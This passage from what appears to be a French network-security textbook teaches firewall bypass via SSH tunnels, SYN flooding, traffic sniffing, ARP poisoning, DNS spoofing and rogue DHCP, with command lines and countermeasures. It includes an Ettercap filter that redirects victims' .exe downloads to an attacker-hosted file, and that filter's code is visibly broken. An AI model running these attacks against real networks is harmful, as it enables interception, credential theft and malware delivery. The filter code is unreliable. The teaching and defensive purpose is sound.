site www.editions-eni.fr qui est bloqué par le pare-feu de l’établissement.

Principe de contournement de filtres d’un pare-feu interne

Comme le montre la figure ci-dessus, depuis l’hôtel, il est impossible de joindre directement le site
des Éditions ENI. La première étape consiste à trouver un port ouvert sur le pare-feu. En plus des
ports standards, nmap et netcat peuvent vous aider à trouver votre bonheur. Supposons que le port
8080 soit disponible sur le client SSH.

La deuxième étape consiste à préparer notre "proxy" (ici, une machine distante "Maison") :

 Il faut installer un serveur SSH (ici sur le port 2222).

 Ensuite, il faut installer un service Rinetd qui écoutera sur le port 33333 et renverra les
informations au serveur www.editions-eni.fr sur le port 80.

La troisième étape consiste à créer notre tunnel en liant le port local 8080 sur le port d’écoute du
serveur SSH.

Il reste enfin à paramétrer notre navigateur pour qu’il utilise le tunnel pour sortir.

Contournement des filtres d’un pare-feu interne

Restrict
ed
L’utilisation de ssh -D permet de se passer de Rinetd. L’option -D <n° de port> crée un proxy SOCKS
local écoutant sur un port. Cette technique ne fonctionne que pour les tunnels (voir documentation
SSH).

Deux outils peuvent vous aider à diagnostiquer les problèmes (netstat et telnet).

Visualisation des ports en écoute avec netstat

Comme le montre la figure ci-dessus, ssd écoute bien sur le port 2222 et Rinetd sur 33333 pour deb-
pc-01.

Test d’ouverture de port avec telnet

La figure précédente montre que la connexion de bout en bout est fonctionnelle sans tunnel SSH.

Les communications sur le port 8080 en local ne sont pas cryptées (sauf si SOCKS le fait), la
communication entre la machine client et le serveur SSH est cryptée par ssh, et les données en sortie
du tunnel/proxy ne le sont que si le protocole encapsulé l’est.

b. Autoriser un accès momentané depuis l’extérieur

Supposons que vous ayez besoin de l’avis d’une personne externe concernant une ressource interne
(ex. un serveur intranet).

Le pare-feu bloquera toutes les connexions initiées depuis l’extérieur. Il faudra donc le faire depuis
l’intérieur.

Restrict
ed
Principe d’ouverture temporaire de port pour un accès externe

Ouverture temporaire de port pour un accès externe

Il est difficile d’empêcher le trafic illicite lorsque celui-ci est encapsulé dans un tunnel, a fortiori SSH
où les données sont cryptées. Mais un pare-feu faisant du filtrage de contenu (correspondance entre
le contenu d’un paquet et son en-tête) et une analyse des flux (ouverture de tunnel SSH vers des
destinations non approuvées, volume de données anormalement élevé…) avec limitation (par
exemple, un débit faible) afin de décourager les contres venants offrent une solution partielle.

Restrict
ed
DoS et DDoS

Un DoS (Denial of Service) est une attaque de déni de service. Le but d’un déni de service est de
rendre ledit service inopérant ou de faire tomber un serveur qui l’héberge.

Établissement d’une session TCP

TCP est un protocole orienté connexion. L’établissement d’une session permet de s’assurer que les
applications sont prêtes à recevoir les données et que toutes les données sont bien reçues par le
destinataire.

Il est dès lors possible que des données soient transmises plusieurs fois parce qu’elles n’ont pas été
reçues dans les temps. Après la fermeture d’une connexion TCP, l’arrivée de doublons retardataires
pourrait provoquer une réouverture du port inutile. Afin d’éviter cela, un timer quiet (égal à deux
fois le TTL IP) est activé et bloque le port.

Le TTL (Time To Live) d’un paquet IP transitant sur un réseau est décrémenté de 1 lors de chaque
passage dans un routeur afin d’éviter que le paquet ne boucle indéfiniment. En effet, lorsque le TTL
est à zéro, le paquet est purement et simplement abandonné par le routeur.

Principe de la poignée de main en trois étapes lors de l’ouverture de session en TCP

L’attaque par SYN flood est l’une des attaques les plus répandues, elle consiste à demander des
connexions et ne pas y répondre. Lors d’une demande de connexion, le serveur est en attente et
bloque pendant un certain temps une partie de ses ressources pour cette nouvelle connexion.

Le but est d’envoyer plus de demandes de connexion qu’il ne peut en traiter dans un temps donné.
Le serveur ne pourra plus subvenir au besoin des vrais clients. Voici un exemple simple de ce genre
d’attaque.

L’outil hping3 permet d’effectuer ce genre d’attaque.

Installation de hping3 sous Debian :


apt install hping3

Exemple de tentative de DoS sur la machine 192.168.103.11.


hping3 -I eth0 -i u1 -S -p 80 -c 10 192.168.103.11

 -l : interface de sortie.

Restrict
ed
 -i u1 : attente de 1 µs entre chaque paquet.

 -S : SYN activé.

 -p 80 : port 80.

 -c 10 : envoi de dix paquets.

Le DDoS (Distributed Denial of Service) est similaire au DoS, mais l’attaque se fait à partir de plusieurs
machines simultanément.

Une attaque DoS est simple à contrer, il suffit d’établir une règle dans le pare-feu afin de bloquer
l’adresse IP attaquante. Dans le cas d’un DDoS, cela se complique énormément puisque les adresses
IP sources sont nombreuses et variées.

Restrict
ed
Sniffing

Les sniffers, ou renifleurs de paquets, sont des outils qui servent à récupérer l’ensemble des données
transmises par le biais d’un réseau de la couche 2 à la couche 7 du modèle OSI.

Afin d’écouter le trafic, il faudra configurer la carte réseau en mode "promiscuous". Ce mode permet
d’intercepter tout le trafic réseau, même les paquets qui ne lui sont pas destinés.

De nombreux protocoles réseau ne chiffrent pas les données, il est donc possible de voir en clair les
mots de passe Telnet, POP, FTP...

Mais il est tout aussi possible de voir les sites visités sur votre réseau ou même les conversations
MSN, de lire les données non cryptées (utilisateur et mot de passe compris).

Wireshark, anciennement connu sous le nom Ethereal, est un sniffer logiciel.

Installation de Wireshark sous Debian :

apt install wireshark

Ou téléchargez les sources ou l’installateur pour d’autres systèmes d’exploitation sur le


site http://www.wireshark.org. Une version 2 est actuellement disponible en "preview".

apt install wireshark

L’analyseur de paquets en ligne de commande tcpdump (WinDump sous Windows) permet de


capturer le trafic visible depuis une interface réseau et même de le sauvegarder dans un format
compatible avec Wireshark.

1. Capturer des données avec Wireshark

Une fois installé, exécutez Wireshark avec l’utilisateur root ou exécutez les opérations suivantes :
# dpkg-reconfigure wireshark-common

Choisissez l’option "oui".


# usermod -a -G wireshark <utilisateur>

Reconnectez-vous avec votre utilsateur

Cliquez sur Capture - Interface.

Choisissez votre interface de capture puis cliquez sur Start.

La capture commence. En quelques instants, de nombreuses lignes s’affichent, nous capturons des
paquets !

Sélectionnez une ligne, les différentes couches s’affichent, en général la couche la plus haute (7,
couche Application) nous intéresse le plus.

Restrict
ed
Capture de trafic avec Wireshark

Exemple de vue sous Wireshark

2. Les filtres

Même avec de très petits réseaux, nous recevons de très nombreux paquets et cela devient vite
illisible. Afin de réduire la quantité de paquets, nous allons n’afficher que ceux qui nous intéressent.

L’emplacement Filter nous permet d’indiquer les filtres.

 HTTP || FTP || Telnet : affiche les paquets dont le service est de type HTTP, FTP, Telnet.

Restrict
ed
 tcp.port == 3306 : affiche les paquets dont le port source ou destination est 3306.

 tcp.srcport == 3306 : affiche les paquets dont le port source est 3306 (port TCP de MySQL).

 tcp.dstport == 3306 : affiche les paquets dont le port destination est 3306.

 ip.addr == 192.168.0.1 : affiche les paquets dont l’adresse IP source ou destination est
192.168.0.1.

 Déclinaison possible : ip.src, ip.dst.

Les filtres peuvent être combinés par le biais d’opérateurs de comparaison et d’opérateurs logiques.

Opérateurs de comparaison :

== Est égal à

!= N’est pas égal à

> Plus grand que

< Plus petit que

>= Plus grand ou égal

<= Plus petit ou égal

Opérateurs logiques :

|| Ou

&& Et

^^ Ou exclusif

! Négation

Exemple de filtre plus complexe :


ip.dst == 192.168.0.1 && (tcp.dstport == 3306 || tcp.dstport == 22)

Recherche les paquets à destination de 192.168.0.1 sur les ports TCP 3306 ou 22.

Nous pouvons maintenant tester sur le réseau. Lançons Wireshark sur une machine et exécutons un
logiciel de messagerie, par exemple.

Recherchons les paquets, ils contiennent les mots de passe lorsque les protocoles ne sont pas
chiffrés.

Voici une capture d’écran qui montre comment récupérer un mot de passe POP.

Restrict
ed
POP sous Wireshark

Sur cette capture d’écran, vous trouverez :

 l’adresse IP du serveur POP : 213.186.33.20

 l’identifiant : john.doe@eni-edition.fr

 le mot de passe : azerty

Vous trouverez plus d’informations sur les filtres à l’adresse : http://www.wireshark.org/docs/dfref/

Il existe d’autres outils d’analyse du trafic réseau comme dSniff qui permettent d’écouter et de créer
du trafic réseau. La suite dSniff comprend les éléments suivants :

 msgsnarf : renifle les messages de discussion (AOL Instant Messenger, ICQ, IRC, MSN
Messenger, Yahoo Messenger).

 mailsnarf : renifle les messages électroniques (ports 25 et 110).

 dsniff : renifle les mots de passe pour les protocoles (AIM, Citrix ICA, CVS, FTP, HTTP, ICQ,
IMAP, IRC, LDAP, Meeting Maker, Microsoft SMB, Microsoft SQL, Napster, NAI Sniffer,NFS,
NNTP, OSPF, Oracle SQLNet, PostgreSQL, POP, poppass, PPTP MS-CHAP, RIP, Rlogin, SMTP,
SNMP, SOCKS, Sybase, Symantec pcAnywhere, Telnet, X11,YP/NIS).

 filesnarf : renifle les fichiers dans un trafic NFS.

 urlsnarf : renifle les requêtes HTTP (TCP 80, 3128 et 8080).

 webspy : affiche en direct les pages visitées par la cible dans son propre navigateur.

 arpspoof : forger des paquets ARP dans le but de faire du ARP poisoning.

 dnsspoof : forger des paquets DNS dans le but de faire du DNS poisoning.

Restrict
ed
 macof : sature le réseau en envoyant des paquets contenant des adresses MAC aléatoires.

 sshmitm : renifle le trafic SSHv1 redirigé par dnsspoof.

 webmitm : renifle le trafic HTTP et HTTPS redirigé par dnsspoof.

Installation de la suite complète dSniff sous Debian via la commande :


apt install dsniff

Utilisation :
msgsnarf -i wlan0

Remplacez wlan0 par votre interface réseau ; tapez ifconfig en console afin de la connaître.

Restrict
ed
Man In The Middle dans un réseau local

1. Empoisonnement du cache ARP (théorie)

L’attaque de l’homme du milieu ou Man In The Middle (MITM), est une attaque nécessitant au moins
trois ordinateurs, l’ordinateur du milieu se faisant passer pour le deuxième aux yeux du premier et
pour le premier aux yeux du second. L’ordinateur du milieu intercepte et renvoie les communications
et peut le cas échéant les modifier.

Dans un réseau local de type Ethernet, les machines d’un même réseau ne communiquent pas en
utilisant leur adresse IP, mais plutôt en utilisant leur adresse MAC. L’adresse MAC identifie de
manière unique une machine dans un réseau Ethernet. Cette adresse est définie sur 6 octets (48
bits).

Dans un réseau IPv4, le protocole ARP (Address Resolution Protocol) joue un rôle majeur dans le
fonctionnement des communications réseau, car c’est lui qui permet à une machine de connaître
l’adresse MAC d’une machine distante.

Dans le jargon, l’opération qui consiste à trouver cette adresse MAC s’appelle la résolution, on parle
alors de résolution ARP.

L’objectif d’ARP est de résoudre l’adresse de niveau 3 (l’adresse IPv4) en une adresse de niveau 2
(l’adresse MAC). Une adresse IP est une adresse logique, par opposition à l’adresse MAC qui est une
adresse physique.

En conséquence, cette adresse IP peut être attribuée par l’administrateur du réseau ou l’utilisateur. Il
est donc possible de fournir l’information de l’adresse IP de destination au système qui veut
communiquer.

ARP trouve l’adresse MAC du système de destination en utilisant l’adresse de niveau 3, l’adresse
IPv4.

Principe d’une requête ARP

Restrict
ed
Dans le scénario où la station PC01 veut communiquer avec la station PC02, où
aucune communication ne s’est encore déroulée, le PC01 ne peut pas encore connaître l’adresse
MAC de PC02, tout comme le PC02 ne peut pas connaître l’adresse MAC du PC01. Pour afficher la
liste des adresses MAC connues par le périphérique il faut utiliser la commande arp -a (point 2 dans
le schéma).

Le switch qui connecte les deux machines ne possède lui non plus aucune information pour le
moment, puisqu’il ne remplit sa table de correspondance qu’à partir du moment où au moins une
trame est arrivée par ses ports, ce qui lui permet de mettre en face du port concerné l’adresse MAC
source de la trame entrante.

Pour résoudre l’adresse MAC de PC02, le PC01 va faire appel au protocole ARP. ARP utilise une trame
Broadcast de niveau 2 (point 3 dans le schéma). Ce processus est une requête ARP. L’objectif de ce
type de trame est triple :

 Permettre à la station A de construire une trame entière et valide.

 Demander au switch de distribuer cette trame à toutes les stations (broadcast).

 Demander à la station B de bien vouloir communiquer son adresse de niveau 2 en réponse.

Une trame broadcast (diffusion) de niveau 2 a comme adresse MAC de destination FFFF.FFFF.FFFF, ce
qui demande au switch d’effectuer une action de flooding (inondation), c’est-à-dire que la trame est
alors diffusée sur l’intégralité du domaine de collision.

Mais le champ MAC Source contient bien l’adresse MAC de la station PC01. Le switch peut
commencer à remplir sa table, qui indique dorénavant que si une trame entrante contient dans le
champ MAC Destination l’adresse de la station PC01, elle doit être dirigée spécifiquement vers le
port qui connecte la station PC01.

La trame envoyée par le protocole ARP du PC01 arrive à destination de tous les hôtes, dont la station
PC02 qui va dès lors répondre à la trame qui lui est destinée.

Comment ? Cette trame est une requête ARP, la station PC02 et la station PC03 doivent observer
l’adresse de niveau 3 indiquée pour savoir si elles doivent y répondre.

En ce qui concerne la station PC03, l’adresse ne correspond pas et la trame est simplement ignorée
par la station qui ne répond pas.

Par contre, pour la station PC02, l’adresse correspond et la station doit répondre à cette requête
ARP. La réponse comporte en en-tête :

 l’adresse de destination de niveau 3, soit celle de la station PC01 ;

 l’adresse source de niveau 3, soit celle de la station PC02 ;

 l’adresse de destination de niveau 2, soit celle de la station PC01 qui est connue puisqu’une
trame émanant d’elle vient d’être reçue ;

 l’adresse source de niveau 2, soit celle de la station PC02.

La requête ARP de type 1 est souvent appelée "Who has", comme le montre la trace Wireshark ci-
dessous :

Restrict
ed
Requête ARP avec Wireshark

Avant d’envoyer sa réponse, le PC02 enregistre dans sa table ARP les informations du PC01 (point 4
dans le schéma).

Principe d’une réponse ARP

Cette réponse de résolution ARP est envoyée vers PC01 et transite par le switch qui les connecte, lui
permettant au passage d’apprendre l’adresse MAC de la station PC02 et de remplir la table (point 5
dans le schéma). Comme le switch connaît l’adresse MAC du PC01, il peut la diffuser uniquement sur
le port connecté au PC01 (microsegmentation), ce qui permet à d’autres machines de communiquer
en même temps.

Une fois la requête arrivée sur la station PC01, les futures communications entre PC01 et PC02 se
feront directement, car les futures trames auront été renseignées avec l’adresse MAC de destination
correcte et le switch intermédiaire jouera pleinement son rôle en ne transmettant les trames que sur
les ports qui correspondent à la table MAC (microsegmentation).

Le PC01 connaît maintenant l’adresse MAC de PC02 (point 6 dans le schéma).

Restrict
ed
Les OS utilisent les requêtes ARP type 2 comme des "keep-alive" pour les entrées existantes dans
leur cache ARP (unicast). La validité d’une donnée dans le cache ARP est de plus au moins 10 minutes
avec une revalidation toutes les 2 minutes sous Windows.

Réponse ARP avec Wireshark

Et si une machine veut en joindre une autre sur Internet, comme nous l’avons vu au début de ce
chapitre, elle va envoyer ses données au routeur. Donc toutes les communications externes passent
par le routeur.

Une attaque simple consiste à falsifier la table ARP des deux machines (la machine source et le
routeur) dont on veut intercepter le trafic.

L’empoisonnement du cache ARP peut être réalisé suivant trois techniques :

 Utilisation du ARP gratuit (diffusion) : envoi de requêtes ARP de détection d’adresses


dupliquées modifiées non sollicitées.

 En se fiant aux réponses (type 2) (comme arpspoof de dSniff) : envoi de réponses ARP
modifiées non sollicitées à la victime. L’attaque sera plus difficile à détecter car ces réponses
sont utilisées par les OS pour mettre à jour leur cache ARP. Cette attaque ne fonctionnera
que pour les entrées existantes.

 En se fiant aux requêtes ARP (type 1) : envoi de requêtes ARP modifiées. Cette technique
peut être efficace si une politique d’insertion des couples IP/MAC est implémentée dans le
système (comme arpwatch). L’utilisation d’unicast rend cette attaque presque indétectable
(fonctionnement normal dans le cadre d’une mise à jour).

Principe du ARP Poisoning

Restrict
ed
2. Empoisonnement du cache ARP (pratique)

Ettercap et Arpspoof permettent d’effectuer des attaques de type Man In The Middle en s’appuyant
sur le protocole ARP.

a. Installation d’Ettercap

Installation d’ettercap-gtk sous Debian :


Sudo apt -y install ettercap-graphical

Pour lancer Ettercap en mode graphique :


ettercap -G

Et en mode console :
ettercap -i eth0 -q -T -M arp:remote -P repoison_arp // //
ettercap [OPTIONS] [TARGET1] [TARGET2]

 -i : interface d’écoute.

 -M : type d’attaque (méthode : arguments).

 -T : interface texte.

 -q : quiet mode (n’affiche pas le contenu des paquets).

 -P : plugins.

 TARGET1 : IP victime.

 TARGET2 : IP routeur.

Restrict
ed
Utilisation d’Ettercap en mode texte

La touche h permet d’accéder au menu d’Ettercap.

L’utilisation de protocoles non sécurisés comme HTTP ou FTP sur le poste attaqué permet de
visualiser toutes les informations de connexion et les données dans la console Ettercap.

Afin de quitter Ettercap proprement, il suffit d’appuyer sur la touche q.

Ettercap va envoyer la vraie adresse MAC de la passerelle aux victimes.

b. Configuration d’Ettercap

Afin de bénéficier de toutes les fonctionnalités d’Ettercap, il faut modifier le fichier


/etc/ettercap/etter.conf.

Modifiez les privilèges afin de permettre au processus de s’exécuter en tant que root :
[privs]
ec_uid = 0 # nobody is the default
ec_gid = 0 # nobody is the default

Il est possible d’intercepter du trafic SSHv1 (dont les identifiants de connexion sont échangés en clair)
avec Ettercap en modifiant le section redir_command_on/off et en décommentant les deux lignes
suivantes :

Restrict
ed
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p
tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p
tcp --dport %port -j REDIRECT --to-port %rport"

Si le navigateur de la cible autorise l’utilisation de SSHv1, il est possible de faire une attaque par
affaiblissement de protocole où :

 la connexion entre la cible et l’attaquant serait chiffrée en SSHv1 ;

 la connexion entre l’attaquant et la destination serait chiffrée en SSHv2.

La victime qui se connecte à un site utilisant le SSL recevra un nouveau certificat qui remplacera le
certificat SSL officiel. Si ce nouveau certificat est accepté, l’attaque réussit, le pirate peut voir les
données en clair. Malheureusement, de nombreux utilisateurs acceptent, sans réfléchir, les
nouveaux certificats, même les certificats autosignés.

Heureusement, les navigateurs web proposent des messages plus informatifs qu’avant. Les
illustrations suivantes nous montrent les évolutions des messages informatifs lorsque les certificats
SSL ne sont pas sûrs.

Avertissement sur un certificat

Restrict
ed
Acceptation de certificat

Les nouveaux navigateurs demandent des confirmations supplémentaires afin de ne pas valider
facilement des certificats autosignés :

Problème de certificat

Décision concernant un certificat

Vous pouvez utiliser le certificat de votre choix en remplaçant l’existant disponible à


l’emplacement : /usr/share/ettercap/etter.ssl.crt.

Il faut savoir que de nombreux sites internet utilisent un certificat autosigné car le certificat
autosigné est gratuit. Une autorité reconnue de confiance doit normalement signer les certificats,
mais faute de moyens (argents, temps), il arrive souvent que les certificats restent autosignés même
en production. La plupart des utilisateurs valident donc les certificats sans en comprendre toutes ces
subtilités.

Restrict
ed
Des attaques plus sophistiquées parviennent même à mettre en place des certificats signés par une
autorité de confiance présentant le nom du serveur légitime.

c. Les plugins sous Ettercap

Il existe de nombreux plugins intéressants que vous pouvez activer soit via les arguments -P, soit en
appuyant sur p dans l’interface console.

 Autoadd : empoisonne les nouveaux arrivants sur le réseau.

 dns_spoof : permet de surcharger le serveur de noms en redirigeant le trafic vers un serveur


illicite (spoofing).

Éditez le fichier /usr/share/ettercap/etter.dns et ajouter :


*.monsite.com A 185.42.28.201

Relancez Ettercap avec le plug-in dns_spoof activé.

Lorsqu’une victime se fait spoofer, le message dns_spoof ci-après s’affiche :


[<nom_du_site_à_usurper>] spoofed to [185.42.28.201]

L’utilisateur souhaitant afficher la page http://www.monsite.com sera redirigé sur le serveur


editions-eni.fr (adresse IP de ENI : 185.42.28.201).

 remote_browser : affiche dans votre navigateur web les sites visités par les utilisateurs du
réseau.

 Isolate : isole un ordinateur du réseau.

Si le plugin recherché n’existe pas, il est possible de le développer soi-même en C. Pour ce faire,
Ettercap fournit un squelette nommé dummy. Nous pouvons aussi travailler avec les sources des
autres plugins qui permettront d’appréhender ce monde mal documenté qui ne donne plus aucune
limite à Ettercap.

Bien que le plugin soit une source inépuisable d’extensions, les filtres Ettercap sont simples à mettre
en œuvre et, pour la majorité des cas, suffisants !

d. Création d’un filtre

Des exemples de filtres intéressants sont disponibles dans /usr/share/ettercap/.

Les conditions :
if (CONDITION)
{
}

if (CONDITION)
{
}
else
{
}

Les opérateurs et fonctions booléens :

Restrict
ed
if (ip.proto == TCP) # Si paquet TCP alors
if (tcp.src == 22 || tcp.dst == 22) # Si port TCP source ou port
TCP
# destination vaut 22 alors
if (search(DECODED.data, "etter")) # S'il y a etter dans les
données
if (regex(DECODED.data, ".*login.*")) # Si l'expression régulière
# ".*login.*" est trouvée
alors.

Les actions :
msg("Spoofed\n"); # Affiche Spoofed dans la console
Ettercap
log(DATA.data, "./logfile"); # Enregistre les données dans le fichier
logfile.
inject("./fake_response"); # Injecte dans le paquet le fichier
fake_response
drop() # Supprime le paquet
tcp.dst -= 1 # Décrémente le port TCP de
destination.
exec("./program"); # Exécute un programme

Cette base vous permet, via les conditions et actions, de générer simplement de
nouvelles fonctionnalités.

Nous allons vous présenter un exemple de filtre simple mais impressionnant. Nous allons remplacer
tous les fichiers .exe par un nouveau fichier .exe de notre choix.

Chaque fois qu’un utilisateur du réseau va télécharger un fichier exécutable via HTTP, nous allons
récupérer la demande, puis dire au navigateur que le fichier a changé d’emplacement.

# si l'on trouve un paquet TCP avec : application, une requête est demandée.

if (ip.proto == TCP && search(DATA.data, "WINDOWS") ) {

log(DATA.data, "/tmp/mispelled_ettercap.log");

replace("WINDOWS", "LINUX");

msg("SUBSTITUTION 1 WINDOWS->LINUX\n");

if (ip.proto == TCP && tcp.dst == 80) {

if (search(DATA.data, "Accept-Encoding")) {

replace("Accept-Encoding", "Accept-Rubbish!");

# note: replacement string is same length as original string

Restrict
ed
}

if (ip.proto == TCP && tcp.src == 80) {

replace("keep-alive", "close" ");

replace("Keep-Alive", "close" ");

if (ip.proto == TCP && search(DATA.data, "GET /install.exe HTTP/1.1") ){

msg("redirection--exe\n");

if (ip.proto == TCP && search(DATA.data, ": application") ){

# on ne redirige que si l'adresse IP n'est pas celle de notre serveur

avec le nouveau fichier exécutable ou si l'IP est l'IP de l'attaquant.

Cela évite de faire des boucles de redirection.

if (ip.src == 'ipserveurfichierexecutable' || ip.src == 'ipattaquant'

|| ip.dst ==

'ipserveurfichierexecutable' || ip.dst == 'ipattaquant') {

msg("Telechargement de notre exécutable en cours\n");

} else {

# S'il y a une demande de téléchargement de fichier autre que la nôtre,

nous informons le navigateur que le fichier a été déplacé par l'adresse :

http://ipserveurfichierexecutable/install.exe

replace("200 OK", "301 Moved Permanently

Location: http://ipserveurfichierexecutable/install.exe

Restrict
ed
");

Enregistrez ce script dans un fichier nommé etter.filter.exe.

Afin d’utiliser le script, nous allons dans un premier temps le compiler.

Etterfilter -o etter_filter_exe etter.filter.exe

Le fichier généré est utilisable par Ettercap. Il suffit d’utiliser l’option -F.

ettercap -i wlan0 -q -T -M arp:remote -P repoison_arp // // -F

/usr/share/ettercap/etter_filter_exe

e. Caïn & Abel

Un logiciel proposant de nombreux outils sous Windows est Caïn & Abel. Même si l’outil est âgé, il
propose, via une interface graphique facile, de nombreux outils difficilement disponibles sous cet OS.
Attention, ce programme est parfois considéré comme potentiellement dangereux par les antivirus.

ARP Poisoning avec Caïn

3. Empoisonnement du cache ARP (contre-mesures)

Il est simple d’identifier une attaque MITM sur un réseau, il suffit de vérifier régulièrement si le cache
ARP de la passerelle a été modifié.

L’utilitaire arpwatch permet de nous avertir par e-mail de ce genre de changements.

Son installation sous Debian se fait via la commande : apt install arpwatch

Il est possible de contrer cette attaque en utilisant une table ARP statique.

Sous Windows :

C:\> arp -s 192.168.200.54 00-0c-29-1f-60-0c

C:\> arp -a

Adresse Internet Adresse physique Type

192.168.200.54 00-0c-29-1f-60-0c statique

Sous Linux :

root@deb-pc-01:/# arp -s 192.168.200.54 00:0c:29:1f:60:0c

root@deb-pc-01:/# arp -a

Adresse HWtype HWaddress Iface

192.168.200.54 ether 00:0c:29:1f:60:0c eth0

Restrict
ed
Sur un routeur Cisco :

arp 192.168.200.54 000c.291f.600c arpa

! Ajout d'une entrée statique dans la table ARP du routeur (arpa = Ethernet)

Cette technique permet de fixer les correspondances MAC/IP. Cela reste possible avec des petits
réseaux de particuliers. Sur de grands réseaux d’entreprise, il est possible de recourir à des solutions
matérielles telles que des switches dotés d’une fonctionnalité Port Security.

Exemple sur un switch Cisco :

S1(config)# interface FastEthernet 0/18

S1(config-if)# switchport port-security mac-address 000c.291f.600c

! Encodage statique des adresses MAC autorisées

! ou

S1(config-if)# switchport port-security mac-address sticky

! Apprentissage automatique de la première adresse MAC reçue

S1(config-if)# switchport port-security maximum 1

! Une seule adresse MAC autorisée

S1(config-if)# switchport port-security violation shutdown

! Bloque définitivement le port + message syslog + compteur+1

(intervention d'un administrateur obligatoire)

! ou

S1(config-if)# switchport port-security violation protect

! bloque uniquement les adresses MAC inconnues

! Ou

S1(config-if)# switchport port-security violation restrict

! Bloque les adresses MAC inconnues + message syslog + compteur+1

S1# show port security interface f0/18

S1# show port security address

S1# show mac-address-table address

S1# show logging

ArpOn (ARP Handler Inspection) est une autre solution utilisant trois types de techniques anti-
spoofing ARP :

 SARPI (Static ARP Inspection) pour les réseaux configurés de manière statique sans DHCP.

Restrict
ed
 DARPI (Dynamic ARP Inspection) pour les réseaux configurés dynamiquement avec DHCP.

 HARPI (Hybrid ARP Inspection) pour les réseaux configurés de manière statique et
dynamique.

Son installation sous Debian se fait via la commande : apt install arpon.

Les entrées statiques se font dans le fichier arpon.conf :

sudo nano /etc/arpon.conf

# static entry:

192.168.1.1 58:ac:78:10:b9:77

Il faut ensuite lancer ArpOn sous forme de démon (équivalent à un service sous Windows) :

$ sudo arpon -d -i <interface> <type>

Il suffit de remplacer <interface> par le nom de l’interface désirée et <type> par :

 -S pour l’utilisation en mode statique uniquement ;

 -D pour l’utilisation en mode dynamique uniquement ;

 -H pour l’utilisation en mode hybride.

Les événements sont enregistrés dans le journal /var/log/arpon.log.

4. Utilisation d’un serveur DHCPv4 clandestin (théorie)

Il existe d’autres moyens pour intercepter un trafic à destination d’Internet (plus exactement de la
passerelle du sous-réseau) dans un réseau local. La technique suivante est performante et simple à
mettre en œuvre.

Dans les réseaux modernes, l’adresse IP utilisée par les postes clients est généralement fournie par
un serveur DHCP. Cela permet au client de recevoir automatiquement toutes les informations
nécessaires à sa connectivité de manière automatique, c’est-à-dire au minimum une adresse IP, un
masque de sous-réseau, une passerelle et l’adresse du serveur de noms (DNS). Et c’est justement la
passerelle qui relaie les informations en provenance et à destination des autres réseaux.

Il suffit donc de remplacer l’adresse de la passerelle par celle du pirate pour que ce
dernier intercepte le trafic !

Cette attaque repose sur trois phases :

 Inondation du serveur DHCP légitime jusqu’à ce que sa zone de réservation soit saturée. Le
serveur DHCP ainsi saturé ne sera plus en mesure de répondre aux demandes des postes
clients.

 Activation d’un serveur DHCP non autorisé sur le segment ayant comme adresse de
passerelle celle du pirate. Le serveur DHCP clandestin peut maintenant répondre aux
requêtes des clients et fournir une adresse de passerelle erronée afin d’intercepter le trafic.

 Activation du routage sur le poste du pirate afin de permettre au trafic provenant d’un
utilisateur d’attendre la passerelle, et inversement.

5. Utilisation d’un serveur DHCPv4 clandestin (pratique)

Restrict
ed
Voici comment installer un serveur DHCPv4 sur une machine Debian :

apt install isc-dhcp-server

Idéalement, configurez le poste du pirate avec une adresse IP fixe :

nano /etc/network/interfaces

Voici un exemple de configuration utilisant l’adresse IP fixe suivante : 10.0.0.55/24 avec une
passerelle 10.0.0.254.

auto eth0

iface eth0 inet static

address 10.0.0.55

netmask 255.255.255.0

network 10.0.0.0

broadcast 10.0.0.255

gateway 10.0.0.254

Il faut ensuite redémarrer l’interface (ici eth0) :

ifdown eth0

ifup eth0

Il faut également configurer le service DHCP :

nano /etc/dhcp/dhcpd.conf

Voici un exemple de configuration :

subnet 10.0.0.0 netmask 255.255.255.0 {

range 10.0.0.151 10.0.0.200; # étendue clients

option domain-name-servers 1.1.1.1, 1.0.0.1;

option domain-name "formation.local";

option routers 10.0.0.5;

option broadcast-address 10.0.0.255;

default-lease-time 300; # durée du bail

max-lease-time 360; # durée maximum autorisée

Pour réaliser l’inondation du serveur DHCP légitime, il existe de nombreuses solutions comme
l’utilisation d’un script Python (avec la librairie Scapy). Une autre solution simple est l’utilisation
de Yersinia.

Yersinia est un outil très puissant qui exploite de nombreuses failles réseau.

Voici comment installer Yersinia sous Debian :

Restrict
ed
apt install yersinia

Pour lancer Yersinia en CLI :

yersinia -I

Il suffit de presser la touche [F2] pour afficher le mode DHCP :

── yersinia 0.8.2 by Slay & tomac - DHCP mode

La touche x permet de lancer l’attaque :

┌──────── Attack Panel ──────────┐

│ No DoS Description │

│0 sending RAW packet │

│1 X sending DISCOVER packet │

│2 creating DHCP rogue server │

│3 X sending RELEASE packet │

└──── Select attack to launch ('q' to quit) ─────┘

Sélectionnez "sending DISCOVER packet" (1) pour inonder le serveur DHCP de requête "discovery".

Il est même possible d’activer directement un serveur DHCP clandestin avec la sélection "creating
DHCP rogue server" (2).

6. Utilisation d’un serveur DHCPv4 clandestin (contre-mesures)

Voici les différentes étapes d’un fonctionnement normal avec DHCPv4 :

 DHCP_Discover : envoi d’une demande du client vers le serveur DHCP.

 DHCP_Offer : offre d’une adresse IPv4 au client par le serveur DHCP.

 DHCP_Request : demande de réservation du client concernant l’adresse IPv4 proposée


précédemment par le serveur.

 DHCP_Ack : acceptation du serveur.

Pour se protéger des serveurs DHCP clandestins, il faut disposer d’un commutateur ayant la
fonctionnalité "DHCP snooping". Cette technique permet de laisser passer dans le commutateur les
paquets "DHCP_Offer" uniquement pour les ports reliés aux serveurs DHCP. Ainsi, un serveur
clandestin ne pourra répondre à aucune demande.

Malheureusement, cette technique ne permet pas de solutionner le problème d’inondation du


serveur DHCP par des adresses MAC forgées. Pour cela, il faudra également activer la fonction DAI
(Dynamic ARP Inspection), qui permet la surveillance des couples adresse MAC - adresse IPv4 en
s’appuyant sur le DHCP snooping pour déterminer les couples valides. Il est également possible de
définir des couples statiques pour les adresses IPv4 non définies dans le serveur DHCP.

Restrict
ed

Vous aimerez peut-être aussi